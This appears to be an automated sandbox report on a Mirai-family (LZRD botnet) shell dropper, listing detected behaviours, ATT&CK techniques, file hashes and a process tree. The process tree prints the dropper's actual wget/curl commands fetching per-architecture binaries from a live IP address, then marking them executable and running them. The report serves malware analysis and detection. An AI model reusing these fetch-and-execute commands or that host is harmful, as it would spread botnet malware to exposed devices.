mirai | 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18

Analysis

max time kernel
140s
max time network
160s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
11/11/2024, 02:09

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General

Target
1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh
Size 3KB
Sample241111-clm2matlbn
SHA256 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18
MD5 77b673f2a4bf201174409274ff5ab549
SHA1 07239713e9551c0e0fafb75149b86b0ce0515a0a
SHA512 66922611e0e8c796248b3ea6ebe4a02c638a2548eb8348b98ce913d9a1127c8a7f0bb6340484d25418e4d1da35d7bfde0b22a142697734197cafce40591fce3c
MD5 SHA1 SHA512

Score

10^/10

mirai lzrd antivm botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
828	chmod
771	chmod
818	chmod
854	chmod
683	chmod
843	chmod
741	chmod
860	chmod
713	chmod
728	chmod
758	chmod
813	chmod
849	chmod
691	chmod
699	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/Chaotic	684	Chaotic
/tmp/Chaotic	692	Chaotic
/tmp/Chaotic	700	Chaotic
/tmp/Chaotic	714	Chaotic
/tmp/Chaotic	729	Chaotic
/tmp/Chaotic	742	Chaotic
/tmp/Chaotic	760	Chaotic
/tmp/Chaotic	772	Chaotic
/tmp/Chaotic	814	Chaotic
/tmp/Chaotic	819	Chaotic
/tmp/Chaotic	829	Chaotic
/tmp/Chaotic	844	Chaotic
/tmp/Chaotic	850	Chaotic
/tmp/Chaotic	855	Chaotic
/tmp/Chaotic	861	Chaotic

Modifies Watchdog functionality 1 TTPs 6 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic
File opened for modification	/dev/watchdog	Chaotic
File opened for modification	/dev/misc/watchdog	Chaotic

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 6 IoCs

description	ioc	Process
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic
File opened for modification	/bin/watchdog	Chaotic
File opened for modification	/sbin/watchdog	Chaotic

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/fstream-5.dat	upx
behavioral2/files/fstream-6.dat	upx
behavioral2/files/fstream-7.dat	upx
behavioral2/files/fstream-8.dat	upx

Checks CPU configuration 1 TTPs 15 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/27/status	Chaotic
File opened for reading	/proc/748/status	Chaotic
File opened for reading	/proc/592/status	Chaotic
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/13/status	Chaotic
File opened for reading	/proc/267/status	Chaotic
File opened for reading	/proc/653/status	Chaotic
File opened for reading	/proc/10/status	Chaotic
File opened for reading	/proc/14/status	Chaotic
File opened for reading	/proc/4/status	Chaotic
File opened for reading	/proc/102/status	Chaotic
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/6/status	Chaotic
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/2/status	Chaotic
File opened for reading	/proc/269/status	Chaotic
File opened for reading	/proc/651/status	Chaotic
File opened for reading	/proc/652/status	Chaotic
File opened for reading	/proc/42/status	Chaotic
File opened for reading	/proc/self/exe	Chaotic
File opened for reading	/proc/7/status	Chaotic
File opened for reading	/proc/8/status	Chaotic
File opened for reading	/proc/603/status	Chaotic
File opened for reading	/proc/self/exe	Chaotic
File opened for reading	/proc/170/status	Chaotic
File opened for reading	/proc/22/status	Chaotic
File opened for reading	/proc/self/exe	Chaotic
File opened for reading	/proc/41/status	Chaotic
File opened for reading	/proc/143/status	Chaotic
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/143/status	Chaotic
File opened for reading	/proc/5/status	Chaotic
File opened for reading	/proc/6/status	Chaotic
File opened for reading	/proc/153/status	Chaotic
File opened for reading	/proc/27/status	Chaotic
File opened for reading	/proc/4/status	Chaotic
File opened for reading	/proc/656/status	Chaotic
File opened for reading	/proc/269/status	Chaotic
File opened for reading	/proc/113/status	Chaotic
File opened for reading	/proc/111/status	Chaotic
File opened for reading	/proc/308/status	Chaotic
File opened for reading	/proc/145/status	Chaotic
File opened for reading	/proc/153/status	Chaotic
File opened for reading	/proc/41/status	Chaotic
File opened for reading	/proc/652/status	Chaotic
File opened for reading	/proc/22/status	Chaotic
File opened for reading	/proc/142/status	Chaotic
File opened for reading	/proc/809/status	Chaotic
File opened for reading	/proc/11/status	Chaotic
File opened for reading	/proc/19/status	Chaotic
File opened for reading	/proc/42/status	Chaotic
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/29/status	Chaotic
File opened for reading	/proc/298/status	Chaotic
File opened for reading	/proc/603/status	Chaotic
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/644/status	Chaotic
File opened for reading	/proc/18/status	Chaotic
File opened for reading	/proc/29/status	Chaotic
File opened for reading	/proc/7/status	Chaotic
File opened for reading	/proc/22/status	Chaotic
File opened for reading	/proc/271/status	Chaotic
File opened for reading	/proc/652/status	Chaotic
File opened for reading	/proc/602/status	Chaotic

System Network Configuration Discovery 1 TTPs 6 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
739	cat
717	wget
721	curl
726	cat
732	wget
735	curl

Writes file to tmp directory 30 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arc	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86_64	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm6	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.i686	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mips	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mpsl	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mips	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm5	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.m68k	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm7	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.ppc	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.sparc	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.m68k	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm7	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.ppc	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.sh4	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arc	curl
File opened for modification	/tmp/Chaotic	1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.x86_64	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mpsl	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm6	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.sh4	wget
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm5	curl
File opened for modification	/tmp/busybox	cp
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.i686	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.mips64	curl
File opened for modification	/tmp/ub8ehJSePAfc9FYqZIT6.arm	curl

/tmp/1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh
/tmp/1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh
1⤵
- Writes file to tmp directory
PID:654
- /bin/cp
  cp /bin/busybox /tmp/
  2⤵
  - Writes file to tmp directory
  PID:657
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  - Writes file to tmp directory
  PID:662
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:673
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  PID:680
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic systemd-private-324b758d0a5648c9b49661ab67cceb4d-systemd-timedated.service-JtdPye ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  - File and Directory Permissions Modification
  PID:683
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:684
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  - Writes file to tmp directory
  PID:686
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:689
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  PID:690
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic systemd-private-324b758d0a5648c9b49661ab67cceb4d-systemd-timedated.service-JtdPye ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.x86
  2⤵
  - File and Directory Permissions Modification
  PID:691
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:692
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - Writes file to tmp directory
  PID:694
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:695
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  PID:697
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic systemd-private-324b758d0a5648c9b49661ab67cceb4d-systemd-timedated.service-JtdPye ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:699
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:700
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.i686
  2⤵
  - Writes file to tmp directory
  PID:702
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.i686
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:707
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.i686
  2⤵
  PID:712
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic systemd-private-324b758d0a5648c9b49661ab67cceb4d-systemd-timedated.service-JtdPye ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:713
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:714
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:717
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:721
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.mips
  2⤵
  - System Network Configuration Discovery
  PID:726
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic systemd-private-324b758d0a5648c9b49661ab67cceb4d-systemd-timedated.service-JtdPye ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:728
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:729
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips64
  2⤵
  - System Network Configuration Discovery
  PID:732
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.mips64
  2⤵
  - Checks CPU configuration
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:735
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.mips64
  2⤵
  - System Network Configuration Discovery
  PID:739
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic systemd-private-324b758d0a5648c9b49661ab67cceb4d-systemd-timedated.service-JtdPye ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:741
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:742
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.mpsl
  2⤵
  - Writes file to tmp directory
  PID:743
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.mpsl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:749
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.mpsl
  2⤵
  PID:757
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic systemd-private-324b758d0a5648c9b49661ab67cceb4d-systemd-timedated.service-JtdPye ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:758
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:760
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm
  2⤵
  - Writes file to tmp directory
  PID:763
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:767
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.arm
  2⤵
  PID:770
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic systemd-private-324b758d0a5648c9b49661ab67cceb4d-systemd-timedated.service-JtdPye ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:771
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:772
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm5
  2⤵
  - Writes file to tmp directory
  PID:810
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:811
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.arm5
  2⤵
  PID:812
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic systemd-private-324b758d0a5648c9b49661ab67cceb4d-systemd-timedated.service-JtdPye ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:813
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:814
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm6
  2⤵
  - Writes file to tmp directory
  PID:815
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm6
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:816
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.arm6
  2⤵
  PID:817
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic systemd-private-324b758d0a5648c9b49661ab67cceb4d-systemd-timedated.service-JtdPye ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:818
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:819
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm7
  2⤵
  - Writes file to tmp directory
  PID:825
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.arm7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:826
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.arm7
  2⤵
  PID:827
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic systemd-private-324b758d0a5648c9b49661ab67cceb4d-systemd-timedated.service-JtdPye ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:828
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:829
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.ppc
  2⤵
  - Writes file to tmp directory
  PID:837
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.ppc
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:838
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.ppc
  2⤵
  PID:839
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:843
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:844
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.sparc
  2⤵
  PID:846
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.sparc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:847
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.sparc
  2⤵
  PID:848
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.sparc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:849
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:850
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.m68k
  2⤵
  - Writes file to tmp directory
  PID:851
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.m68k
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:852
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.m68k
  2⤵
  PID:853
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.m68k ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.sparc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:854
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:855
- /usr/bin/wget
  wget http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.sh4
  2⤵
  - Writes file to tmp directory
  PID:857
- /usr/bin/curl
  curl -O http://213.199.41.149/HideChaotic/ub8ehJSePAfc9FYqZIT6.sh4
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:858
- /bin/cat
  cat ub8ehJSePAfc9FYqZIT6.sh4
  2⤵
  PID:859
- /bin/chmod
  chmod +x 1f807348db851d7ab9103ef670906f36006bdd4af7f09080794b65b85dae0c18.sh busybox Chaotic ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.m68k ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.sh4 ub8ehJSePAfc9FYqZIT6.sparc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:860
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  PID:861

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

Chaotic

Path /tmp/Chaotic
Size 37KB
SHA256 1bfbf7137af8f36627159116bc0dbfe916315853c6eb61b7d6011224699487f3
MD5 0d6e1b9b64e7264be82e54ce16625d3d
SHA1 e7bdee0a6c0edf518ce58dec54ee07c19b0f4f3b
SHA512 ab43d184b61391ab72085da965fe0498cc99e69f4f87eab448f3c72c3f7e755e9a062af17db0cc5c2117d421a5bf53505b1676ebf554021e356ca8e2cfd41c4b
SSDEEP 768:lxaYe0syQ8Au2EDj/GWdBKJ7LtFCDo3fXqlgmbI6GqmFY1rhanbcuyD7UrQRjx:aYgB3uFGW+JB3fXqlgmk6GqQYunouy8C
MD5 SHA1 SHA512 SSDEEP

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Chaotic

Path /tmp/Chaotic
Size 36KB
SHA256 e27460f82d4b29d46e902573c344ea43fb28f87441508232d8fdb1a0eb47a74f
MD5 6f30551085376afd0fe00be9cd7964a4
SHA1 0543929d23cd2cf8a8e77e1f335134913e60770f
SHA512 91739913bb1bef30f17b6a354c58f0eb7e8520615cb7afae05ff4cad05707ac47dc30b24bf0ec14b7a3a0fc4c6816247c667274dbe6873db6f2e2c9f38c598ec
SSDEEP 768:/JLR/W7ThZdFW7v2ZJdNWK/fPquiYKqdlqGNX0wiXuDAisdEkGoxETWx0J:xV2zdITqJnqu3dTVLOdZGEXQ
MD5 SHA1 SHA512 SSDEEP

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Chaotic

Path /tmp/Chaotic
Size 37KB
SHA256 621863fb4ca73db0e6095012da0be5ed7ae3e83069d9b27bad64e269aa60e64a
MD5 10c4222fcdb2b8876fce8546f820c911
SHA1 1f9d33ce377022a5f3d712318910ef8294e3a616
SHA512 4099e845ae4e98b84cfccc0272d93ee0efc51cfa59692d9e6d1605b1e12d94882ff9b26cf7ba9ae01a652784cf7355841a57a2f18d6233f44b56aedc65e7a866
